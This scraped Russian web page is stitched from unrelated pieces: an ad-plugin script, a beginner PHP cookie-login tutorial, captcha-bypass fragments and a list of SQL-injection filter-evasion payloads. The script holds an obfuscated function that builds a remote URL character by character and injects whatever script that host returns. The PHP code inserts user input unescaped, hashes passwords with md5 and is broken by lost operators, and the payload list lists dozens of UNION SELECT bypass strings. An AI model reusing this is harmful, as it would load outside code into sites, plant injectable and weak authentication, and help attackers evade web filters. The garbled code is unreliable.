Методы обхода защитных средств веб-приложений при эксплуатации SQL-инъекций / Хабр

Php – обход аутентификации на сайте – web-answers

“:’

‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ p “

“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’

Закрыть через ‘ a.how.outgoing.timer_count “

“:’

‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ p “

“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’

‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘

‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};

Безопасный метод авторизации на php

Примечание: мини-статья написана для новичков

Давайте посмотрим вокруг: форумы, интернет магазины, гостевые книги и т.д. используют регистрацию и последующую авторизацию пользователей. Можно даже сказать, что это почти необходимая функция каждого сайта (только если это не домашняя страничка Васи Пупкина или не визитная карточка, какой-нибудь небольшой компании). Сегодня я хочу поделиться со всеми новичками информацией, о том, как лучше это все реализовать.

1. Модель (клиент)
Регистрация
— логин (a-z0-9)
— пароль
Вход
— логин
— пароль
Cookie
— уникальный идентификатор юзера
— хэш

Модель (сервер)
MySQL
Таблица users
user_id (int(11))
user_login (Varchar(30))
user_password (varchar(32))
user_hash (varchar(32))
user_ip (int(10)) по умолчанию 0

При регистрации в базу данных записываеться логин пользователя и пароль(в двойном md5 шифровании)

При авторизация, сравниваеться логин и пароль, если они верны, то генерируеться случайная строка, которая хешируеться и добавляеться в БД в строку user_hash. Также записываеться IP адрес пользователя(но это у нас будет опциональным, так как кто-то сидит через Proxy, а у кого-то IP динамический… тут уже пользователь сам будет выбирать безопасность или удобство). В куки пользователя мы записываем его уникальный индетификатор и сгенерированный hash.

Почему надо хранить в куках хеш случайно сгенерированной строки, а не хеш пароля?
1. Из-за невнимательности программиста, во всей системе могут быть дырки, воспользовавшийсь этими дырками, злоумышленик может вытащить хеш пароля из БД и подставить его в свои куки, тем самым получить доступ к закрытым данным. В нашем же случае, двойной хеш пароля не чем не сможет помочь хакеру, так как расшифровать он его не сможет(теоретически это возможно, но на это он потратит не один месяц, а может быть и год) а воспользоваться этим хешем ему негде, ведь у нас при авторизации свой уникальный хеш прикрепленный к IP пользователя.

2. Если злоумышленик вытащит трояном у пользователя уникальный хеш, воспользовать им он также не сможет(разве если только, пользователь решил принебречь своей безопастностью и выключил привязку к IP при авторизации).

2. Практика
-- <br>
-- Структура таблицы `users` <br>
-- <br>
CREATE TABLE `users` ( <br>
`user_id` int(11) unsigned NOT NULL auto_increment, <br>
`user_login` varchar(30) NOT NULL, <br>
`user_password` varchar(32) NOT NULL, <br>
`user_hash` varchar(32) NOT NULL, <br>
`user_ip` int(10) unsigned NOT NULL default '0', <br>
PRIMARY KEY (`user_id`) <br>
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1 ; <br>

register.php

<?

// Страница регситрации нового пользователя

# Соединямся с БД

mysql_connect(“localhost”“myhost”“myhost”);

mysql_select_db(“testtable”);

if(isset($_POST[‘submit’]))

{

    $err = array();

    # проверям логин

    if(!preg_match(“/^[a-zA-Z0-9] $/”,$_POST[‘login’]))

    {

        $err[] = “Логин может состоять только из букв английского алфавита и цифр”;

    }

    if(strlen($_POST[‘login’]) < or strlen($_POST[‘login’]) > 30)

    {

        $err[] = “Логин должен быть не меньше 3-х символов и не больше 30”;

    }

    # проверяем, не сущестует ли пользователя с таким именем

    $query mysql_query(“SELECT COUNT(user_id) FROM users WHERE user_login='”.mysql_real_escape_string($_POST[‘login’]).“‘”);

    if(mysql_result($query0) > 0)

    {

        $err[] = “Пользователь с таким логином уже существует в базе данных”;

    }

    # Если нет ошибок, то добавляем в БД нового пользователя

    if(count($err) == 0)

    {

        
$login $_POST[‘login’];

        # Убераем лишние пробелы и делаем двойное шифрование

        $password md5(md5(trim($_POST[‘password’])));

        mysql_query(“INSERT INTO users SET user_login='”.$login.“‘, user_password='”.$password.“‘”);

        header(“Location: login.php”); exit();

    }

    else

    {

        print “<b>При регистрации произошли следующие ошибки:</b><br>”;

        foreach($err AS $error)

        {

            print $error.“<br>”;

        }

    }

}

?>

<form method=”POST”>

Логин <input name=”login” type=”text”><br>

Пароль <input name=”password” type=”password”><br>

<input name=”submit” type=”submit” value=”Зарегистрироваться”>

</form>

login.php

<?

// Страница авторизации

# Функция для генерации случайной строки

function generateCode($length=6) {

    $chars “abcdefghijklmnopqrstuvwxyzABCDEFGHI JKLMNOPRQSTUVWXYZ0123456789”;

    $code “”;

    $clen strlen($chars) – 1;  
while (strlen($code) < $length) {

            $code .= $chars[mt_rand(0,$clen)];  
}

    return $code;

}

# Соединямся с БД

mysql_connect(“localhost”“myhost”“myhost”);

mysql_select_db(“testtable”);

if(isset($_POST[‘submit’]))

{

    # Вытаскиваем из БД запись, у которой логин равняеться введенному

    $query mysql_query(“SELECT user_id, user_password FROM users WHERE user_login='”.mysql_real_escape_string($_POST[‘login’]).“‘ LIMIT 1”);

    $data mysql_fetch_assoc($query);

    # Соавниваем пароли

    if($data[‘user_password’] === md5(md5($_POST[‘password’])))

    {

        # Генерируем случайное число и шифруем его

        $hash md5(generateCode(10));

        if(!@$_POST[‘not_attach_ip’])

        {

            # Если пользователя выбрал привязку к IP

            # Переводим IP в строку

            $insip “, user_ip=INET_ATON(‘”.$_SERVER[‘REMOTE_ADDR’].“‘)”;

        }

        # Записываем в БД новый хеш авторизации и IP

        mysql_query(“UPDATE users SET user_hash='”.$hash.“‘ “.$insip.” WHERE user_id='”.$data[‘user_id’].“‘”);

        # Ставим куки

        setcookie(“id”$data[‘user_id’], time() 60*60*24*30);

        setcookie(“hash”$hashtime() 60*60*24*30);

        # Переадресовываем браузер на страницу проверки нашего скрипта

        header(“Location: check.php”); exit();

    }

    else

    {

        print “Вы ввели неправильный логин/пароль”;

    }

}

?>

<form method=”POST”>

Логин <input name=”login” type=”text”><br>

Пароль <input name=”password” type=”password”><br>

Не прикреплять к IP(не безопасно) <input type=”checkbox” name=”not_attach_ip”><br>

<input name=”submit” type=”submit” value=”Войти”>

</form>

check.php

<?

// Скрипт проверки

# Соединямся с БД

mysql_connect(“localhost”“myhost”“myhost”);

mysql_select_db(“testtable”);

if (isset($_COOKIE[‘id’]) and isset($_COOKIE[‘hash’]))

{   

    $query mysql_query(“SELECT *,INET_NTOA(user_ip) FROM users WHERE user_id = ‘”.intval($_COOKIE[‘id’]).“‘ LIMIT 1”);

    $userdata mysql_fetch_assoc($query);

    if(($userdata[‘user_hash’] !== $_COOKIE[‘hash’]) or ($userdata[‘user_id’] !== $_COOKIE[‘id’])<br> or (($userdata[‘user_ip’] !== $_SERVER[‘REMOTE_ADDR’])  and ($userdata[‘user_ip’] !== “0”)))

    {

        setcookie(“id”“”time() – 3600*24*30*12“/”);

        setcookie(“hash”“”time() – 3600*24*30*12“/”);

        print “Хм, что-то не получилось”;

    }

    else

    {

        print “Привет, “.$userdata[‘user_login’].“. Всё работает!”;

    }

}

else

{

    print “Включите куки”;

}

?>

Для защиты формы логина от перебора, можно использовать <a href=«captcha.ru target=»_blank”>капчу.

Хочу отметить, что здесь я рассматривал авторизацию основоную на cookies, не стоит в комментариях кричать, что сессии лучше/удобнее и т.д. Спасибо.

Для обхода используются следующие техники:

Инъекция нульбайта: использование до вредоносного пейлоада. Защитные средства могут проигнорировать все символы после нуль-терминирования, но при этом передать весь запрос на веб-сервер.

Смешанное содержимое: при использовании регистрозаивисимых регулярных выражений можно обойти защитные средства используя смешанное содержимое: например преобразуем

Защита

Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций:

Большинство этих функций направлено на то, чтобы провести преобразование “опасных” символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval.

В “надстроенных” средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты.

Использование сервисов распознавания

В предыдущем примере мы распознавали вручную,
однако, чаще всего это делать нецелесообразно.


Лучше подключить специальный сервис, на котором специально обученные
китайцы за копейки разбирают капчи.

Как это работает: вы считываете капчу в файл, а затем используя
API сервиса отправляете эту капчу на сервис.
Через 3-5 секунд получаете эту капчу обратно в разобранном виде.

Стоит это удовольствие не дорого –
менее одного доллара за 1000 разобранных капч.

Как обойти капчу


Итак, теперь вы знаете как устроена капча.
Давайте теперь о том, как ее обойти.
Для этого нужно сделать несколько запросов с помощью CURL.

Первый запрос должен слаться на файл с капчей.
Куда его слать – видно в HTML коде формы или же можно отследить в отладчике,
куда отправляются запросы.

Результатом данной операции будет картинка,
ее можно сохранить в файл с помощью file_put_contents.
Зачем сохранять – чтобы можно было прочитать капчу и разобрать
ее каким-либо образом (для начала вручную).


Запрос на капчу обязательно следует слать
через curl, а не file_get_contents, так как нам обязательно
следует принимать и оправлять куки – ведь капча работает
на сессиях PHP.

Итак, получаем капчу, сохраняем его в файл, разбираем эту капчу вручную
и шлем
второй запрос уже на страницу с формой вместе с POST данными для формы (и с разобранной капчей).

Не ошибитесь и не сделайте лишнего запроса к капче!

Как устроена капча

Чтобы обойти капчу, нужно понимать,
как она устроена изнутри.


Когда мы заходим на страницу
с формой – там уже есть капча
или она подгружается через некоторое время.

Обход защитных средств

Для обхода защитных средств необходимо знать несколько вещей — из чего состоит веб-приложение, чем и как оно защищено, а также глубокое знание платформы и логики работы веб-приложения.

Из простейших примеров: функционал современных сайтов содержит довольно много форм, позволяющих пользователю загружать произвольные файлы на сервер. Это могут быть изображения, документы, pdf файлы и т.д. Веб-разработчики зачастую используют концепцию «черного списка», прямо запрещающего загрузку потенциально опасных типов файлов: .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml.

Использование черного списка не убережет владельца сайта от потенциальных рисков обхода фильтрации. Например, в новой версии PHP 7 добавлено новое расширение .php7, которое позволит обойти фильтрацию. Не все разработчики знают об этом и успели добавить его в черный список. Также в вышеприведенном перечислении расширений отсутствует .pht.

Логически, зная как построена защита (изучив код при его наличии или логику фильтрации), можно пробовать ее обходить. Это может быть как черным списком, так и фильтрацией опасных конструкций с помощью регулярных выражений, преобразование или нормализация данных.

Популярные методы обхода защиты от sql-инъекций

Существует два вида инъекций — в строковом или числовом параметре:

Строковый

Example: SELECT * from table where example = 'Example'

Числовой

Example: SELECT * from table where id = 123

Инъекции делятся на несколько типов, в зависимости от СУБД или условий инъекции, от этого зависят и методы обхода защиты.

Самое популярное заблуждение — фильтрация одинарной кавычки: т.е. если кавычки в запросе не будет — то и инъекция (разделение запроса) невозможна. Поэтому мы и не будем разделять запрос, мы его объединим с помощью оператора UNION, а для удобства возьмем еще и несуществующий ID:

Примеры url-encoded при проведении union select запросов

   Union(Select)

   union distinct select

   union distinctROW select

   union 53elect

   #?
uion ?#?
select

   #?zen?
union all#zen
#Zen
select

   Union SeLEct

   union select

   union select

   union distinct select

   union distinctROW select

   unoin all selec%7

Примеры сигнатурного обхода

/*!UNiOn*/ /*!SeLEct*/

 Union(Select 1,2,3)-- -

  union distinct select 

  union distinctROW select 

 /**//*!12345UNION SELECT*//**/

 concat(0x223e,@@version)

 concat(0x273e27,version(),0x3c212d2d)

 concat(0x223e3c62723e,version(),0x3c696d67207372633d22)

 concat(0x223e,@@version,0x3c696d67207372633d22)

 concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e)

 concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)

 concat(‘’,@@version,’’)

 /**//*!50000UNION SELECT*//**/

 /**/UNION/**//*!50000SELECT*//**/

 /*!50000UniON SeLeCt*/

 union /*!50000Select*/

  #uNiOn #sEleCt

  #1q
uNiOn all#qa
#
sEleCt

 /*!UNiOn*/ /*!SeLEct*/

 /*!union*/ /*!select*/

  un/**/ion se/**/lect

 union select

 /**/union/**/select

 union#foo*/*bar
select#foo


 REVERSE(noinu) REVERSE(tceles)

 /*--*/union/*--*/select/*--*/

 union (/*!/**/ SeleCT */ 1,2,3)

 /*!union*/ /*!select*/

 union /*!select*/

 /**/union/**/select/**/

 /**/uNIon/**/sEleCt/**/

 /**//*!union*//**//*!select*//**/

 /*!uNIOn*/ /*!SelECt*/

  union distinct select 

  union distinctROW select 

  UnIOn
SeleCt


 UNION/*&test=1*/SELECT/*&pwn=2*/

 un? un/**/ion se/**/lect 

  UNunionION SEselectLECT 

  union select 

 %2f%2a*/union%2f%2a /select%2f%2a*/

 /**/union/**/select/**/

 /**/union/**/select/**/

 union#foo*/*bar
select#foo


 /*!UnIoN*/SeLecT 

Примеры смешанного содержимого запросов

unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
 /*!from*/information_schema.columns/*!where*/column_name /*!like*/char(37, 222, 97, 225, 225, 37)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name /*!like*/char(37, 222, 97, 225, 225, 37)?

Заключение

Придерживаться правила: all input is evil until proven otherwise.Тщательно проверять входящие данные.Тщательно проверять входящие данные.Тщательно проверять входящие данные.Использовать комплексные средства защиты веб-приложений от хакерских атак.

Похожее:  ПРИ КАКИХ УСЛОВИЯХ СЧЕТЧИКИ ЭЛЕКТРОЭНЕРГИИ ПЕРЕДАЮТСЯ

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *